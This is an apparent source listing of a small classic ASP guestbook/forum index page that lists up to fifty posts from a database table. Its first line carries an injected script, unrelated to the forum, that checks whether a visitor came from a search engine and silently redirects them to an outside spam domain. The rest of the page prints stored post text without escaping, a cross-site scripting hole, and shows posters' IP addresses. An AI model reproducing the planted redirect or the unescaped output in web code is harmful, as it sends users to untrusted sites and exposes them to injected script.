d:\wwwroot\wuchunhua\bbs\index.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<b><a href="say.asp">发表帖子</a></b><p><b>帖子列表(按最新时间排序在上面）</b><br><br>
003:
</p>
004:
<div align="center">
005:
<center>
006:
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse; " bordercolor="#000000" width="100%" height="26">
007:
<tr>
008:
<td width="17%"><b>作者</b></td>
009:
<td width="23%"><b>主题</b></td>
010:
<td width="10%"><b>ip</b></td>
011:
<td width="10%"><b>浏览器</b></td>
012:
<td width="20%"><b>发表时间</b></td>
013:
<td width="20%"><b>内容</b></td>
014:
</tr>
015:
</table>
016:
</center>
017:
</div><hr size="1">
018:
<%
i=1
019:
set showbbs=conn.execute("select*from bbs order by id desc")
020:
do while not showbbs.eof
021:
%
>
022:
<div align="center">
023:
<center>
024:
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse; " bordercolor="#000000" width="100%" height="20">
025:
<tr>
026:
<td width="17%">
<%
=showbbs("name")
%
> </td>
<!--webbot bot="PurpleText" PREVIEW=" '显示名字" -->
027:
028:
<td width="23%">
029:
<a href="show.asp?id=
<%
=showbbs("id")
%
>">
<%
=showbbs("title")
%
></a></td>
<!--webbot bot="PurpleText" PREVIEW="'显示主题" -->
030:
<td width="10%">
<%
=showbbs("ip")
%
> </td>
<!--webbot bot="PurpleText" PREVIEW=" '显示ip" -->
031:
<td width="10%">
<%
=showbbs("liulanqi")
%
> </td>
<!--webbot bot="PurpleText" PREVIEW=" '显示浏览器" -->
032:
033:
<td width="20%">
<%
=showbbs("body")
%
> </td>
<!--webbot bot="PurpleText" PREVIEW=" '显示内容" -->
034:
<td width="20%">
<%
=showbbs("shijian")
%
> </td>
<!--webbot bot="PurpleText" PREVIEW=" '显示时间" -->
035:
</tr>
036:
</table>
037:
</center>
038:
</div><hr size="1">
039:
<p>
<!--webbot bot="PurpleText" PREVIEW="最多显示50个帖子" -->
</p>
040:
041:
<%
i=i+1
042:
if i>50 then exit do
043:
showbbs.movenext
044:
Loop
045:
showbbs.Close
046:
set showbbs=nothing
047:
%
>
048:
049: